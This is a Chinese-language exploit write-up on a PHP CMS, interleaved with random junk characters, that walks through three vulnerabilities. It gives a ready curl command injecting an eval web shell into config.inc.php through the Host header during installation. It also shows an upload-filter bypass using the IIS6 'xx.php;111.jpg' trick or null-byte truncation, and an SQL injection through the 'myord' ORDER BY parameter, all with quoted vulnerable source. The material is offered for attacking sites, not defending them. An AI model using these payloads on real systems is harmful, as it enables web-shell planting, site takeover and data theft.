注入:" j# Y& A. z) `7 [
# S, R+ k, P( ^5 O9 H4 p, D, b7 x
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码- X0 N! e8 ^/ k$ p
" Q% D3 |' X* T% J3 V3 G
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
C' s: b! u. |% J# A* J# g鸡肋2: 有一定安全常识的站长都会删掉 install 目录& u6 F" _5 b# S* i
4 r" l* y. V" _9 A% C9 Z虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响) ]2 _2 G. T; O; i
, g( H9 N/ k w分析:0 H4 a: `- O" g2 d
3 O) J. U( M8 Z/ P7 N' T4 S
4 s: v$ t2 U/ ]$ N* ?, T$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
- z& Z c/ g. t: \, c
. ?. w* n/ A! @9 m" c" ] $filestr = fread(fopen($SysConfigFile, 'r'),30000);8 E% {+ s6 f' H
$filestr=str_replace(" ","",$filestr);
+ e2 u6 }4 i9 ]7 |/ p4 D: l1 _! x $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
& N& G/ C5 t2 g( \, Y $filestr=str_replace("DefaultDbName",$dbname,$filestr);
: x3 c+ Z( W/ C7 H! v J+ S o $filestr=str_replace("DefaultDbUser",$dbuser,$filestr); n' Q) ?4 ?" Q6 e: h+ X
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr); h9 Z/ m7 x% x+ u( {! @, m4 X' m; d
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);
" S% V8 E+ X) |; S D $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
4 x* j5 I( p/ u8 g3 F3 o3 f $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
: j+ e6 w+ @" \& W' u- A
/ z% m5 D7 v7 M, ^- u7 h2 f( } fwrite(fopen($ConFile,"w"),$filestr,30000);
* n; V0 t, z- S/ D/ T$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
) ^8 W/ Z( S6 q: s2 W 4 o5 ^7 G0 H4 Z$ s& c* ^
poc:
/ ^% u# n" Y! T4 B, K 2 q6 H% h. I$ K5 m' l; @7 V8 ?
?
n5 G4 A y) U1! s7 q" [; r0 j; X) O( g! F( E
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"/ ~5 I' O5 F. Y
shell地址: /config.inc.php) u# S" c1 ?7 j: \6 _ y! L
跟之前的 phpcms一样 需要远程数据库
( v* X l, J2 T6 u/ w" h 4 F! U. v) U( u6 Z
——————————————————–) M% N' t3 X$ G5 R. p% h1 h1 C
上传漏洞(需要进后台):
, B6 H0 f% z. D% s! r9 a漏洞文件: /kedit/upload_cgi/upload.php
+ i8 V) {- o2 z4 k$ X+ Z5 ]这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
- M3 p5 } T- D; v" _ " F4 @- v5 l# n0 h
9 N2 t3 ^! I8 ?" ]! N9 ?5 F0 o k
<?php
9 |2 H1 [! Y5 I( E! p define("ROOTPATH", "../../");6 |8 Z7 f, {8 O& ]# }
include(ROOTPATH."includes/admin.inc.php");
. ?. j2 y" F7 m. |) x NeedAuth(0);
3 n6 t( x7 U4 V" q) ?3 B; y
6 U7 o/ C6 B/ O& y. m $dt=date("Ymd",time());! P$ C5 |! H. m' r$ M3 D1 a9 F
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){, j1 L$ q/ U6 B' ^
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
; q8 D w4 f4 _) y% M) F2 ~* w# D- } }: ?) L& T8 F7 _: n4 g* _
! Q7 g6 U g! d% j) H3 }+ Q4 m% V
//文件保存目录路径
) Z- h5 k8 i; \% \: { $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';( y" @1 }* S/ _# ?. f7 ?
echo $save_path;
2 ^/ _* x) U5 F //文件保存目录URL! k7 Y$ w3 i4 o3 ]
$save_url = '../../'.$_POST['attachPath'].$dt.'/';$ b4 z4 Q* u# `1 k7 V& O0 Z
q/ n$ U5 A G- q. i //定义允许上传的文件扩展名* `. F* C# @6 Z' k$ C6 K, k
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀
1 E# C7 z4 ]9 ~/ a( T
7 r, p% F S: a( Q6 X" ` //最大文件大小4 t% u8 w( k, R+ @
$max_size = 1000000;" _0 R1 @0 `/ p' \8 H$ A
A" W5 Z3 Z6 f& o3 t0 j1 Y
//更改目录权限# n( ^9 z- ^6 S1 d3 V! v
@mkdir($save_path, 0777);
/ z! Z% X6 J2 W # g* `% w5 t4 _4 v: P- q" E+ E, x* m
//文件的全部路径: R$ V. H1 Q. k) l3 V
$file_path = $save_path.$_POST['fileName']; //保存文件名: ^2 h, [; q, X! b" y
/ E$ E4 A8 q8 \3 x8 ^
//文件URL. M$ |1 T* B4 e' K8 g# n
$file_url = $save_url.$_POST['fileName'];
e7 x' q2 [% Q' m//有上传文件时% f, h' a$ J9 V& m- q) v
if (empty($_FILES) === false) {
7 _5 A1 O& f# u6 P4 |! ` 7 D: B7 `0 t# G+ a6 @
//原文件名
8 y2 F G: b3 m' ]. i% l6 V $file_name = $_FILES['fileData']['name'];% K* a4 I+ u( S0 S8 Y
//服务器上临时文件名$ N5 `+ I( B" p
$tmp_name = $_FILES['fileData']['tmp_name'];
0 n* p& _2 s: @& A5 \ //文件大小* M9 g& o3 G- I& o2 N8 `# Q
$file_size = $_FILES['fileData']['size'];
h# L# t/ ~ Z- l1 S# g //检查目录
% ]9 K/ C1 x v" K if (@is_dir($save_path) === false) {
# D$ e3 c/ l3 a b* b7 [; b; B alert("上传目录不存在。");6 k' |2 p1 `& f0 l
}$ W3 ?' O: Y, ^5 S# l" B" M/ V
//检查目录写权限
" W4 n8 L3 J+ o: j# ~/ u8 z if (@is_writable($save_path) === false) {
% f9 n% [8 Y2 A& ]3 U' f2 w' ]' m alert("上传目录没有写权限。");% K" N3 w0 L# T9 f1 h" ?( C
}! h5 @; b* _6 z r( W
//检查是否已上传
6 N7 e% S8 f* Z0 a if (@is_uploaded_file($tmp_name) === false) {
' J, J' N$ [0 O9 W" b alert("临时文件可能不是上传文件。");
8 g3 p: X$ d8 I9 ?( _ }
: x8 M3 A, F; {/ X B //检查文件大小, y" z4 ~7 S7 F
if ($file_size > $max_size) {
. J8 W' A5 n- Y. n8 l; y1 P alert("上传文件大小超过限制。");& o& r' l' T- Q
}; a+ P( }' Z: z
//获得文件扩展名
8 N& j4 h- v3 ?' _ $temp_arr = explode(".", $_POST['fileName']);) ^ V- T2 N" K' Z+ w! e1 ^6 n
$file_ext = array_pop($temp_arr);
) E3 C3 `- c- X# L) Q $file_ext = trim($file_ext);
; c0 w: r0 Q* C" ~; y1 ? $file_ext = strtolower($file_ext);
& C* O) \, ]# p- [$ k
$ Z; {4 Q0 Z/ b) l' i3 g0 a //检查扩展名
: B' M% z6 |- T3 I if (in_array($file_ext, $ext_arr) === false) { & [9 j6 N7 O3 I4 e" o* E1 G
alert("上传文件扩展名是不允许的扩展名。");; O! f4 n9 @" h& P5 n
}* N) P/ T+ L) }6 O
$ Q( b4 x0 `9 W; F7 A& A6 G1 q( z //移动文件 P8 u1 G* @0 G- X$ R: O; G
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
6 B; Z/ a; X& K( N if (move_uploaded_file($tmp_name, $file_path) === false) {
& Y. {. x8 c4 J0 V1 O/ c alert("上传文件失败。");2 j1 ~4 ^; g$ F% `2 ]
}
) Y. J+ M- s4 }: W# F 6 e, K( q! P/ Y" w: r& e9 I( K1 h+ e
@chmod($file_path,0666);
7 D% e2 V; T9 i/ _' |3 D* h
2 g, A n/ @$ o$ ` ?>
* t2 _9 {& f) W8 l1 N抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
|: o% G, r( \" \- Y . u( x, {1 @8 ]; v; P
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
2 {2 K7 a f" S. T s * o% J2 |+ }2 I. v" G* y# Q# @
——————————————————
3 q+ Z, M; l) x8 ?注入漏洞:$ [1 t7 V8 W: g8 _
漏洞文件:search/module/search.php7 ]- X5 T: k( O2 x
/search/index.php?key=1&myord=1 [sqlinjection]4 l" I0 c% Q1 t/ g* T/ k
* I2 u* J0 L9 e d9 K4 U, x
, v. n6 }1 L% v$ H' W7 s<?php
5 s. Z1 q: b3 h q7 O9 W# X // ... 省略 n 行...; ]; d1 |, c x' O" N
//第18行:6 J& @2 s( e- ^' o; s2 ~3 x
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
/ Q- ^; q1 L: A2 O; a ]$ C $page=htmlspecialchars($_GET["page"]);
2 _% a* m. |3 k& I $myord=htmlspecialchars($_GET["myord"]);
B* [. z$ p$ @4 l " O; L6 ]3 e) Y/ S- {* R6 k( p
// ... 省略 n 行...
1 l1 n9 K# k7 k, _! ~- O8 d $key,$myord 两个参数带入查询2 V$ Z2 I6 k" E! s8 s6 F. r
//第47行 $key:# V0 N# y' D9 a7 y
3 A3 K3 \: F* g1 L7 ^
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..: p% u5 i# O4 k) Y( r
8 Q+ k+ _ A# Q( G: R* }
//第197行 $myord) N) V+ E# q% O2 I# y/ T3 } L( z
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
* K( M8 Y# I! y" H& [4 B% K# H
& O- ?7 e; [5 O9 V( p/ S5 h4 s ?>3 ^ T! i% [) R( V8 N. x" Q# t9 h5 K
|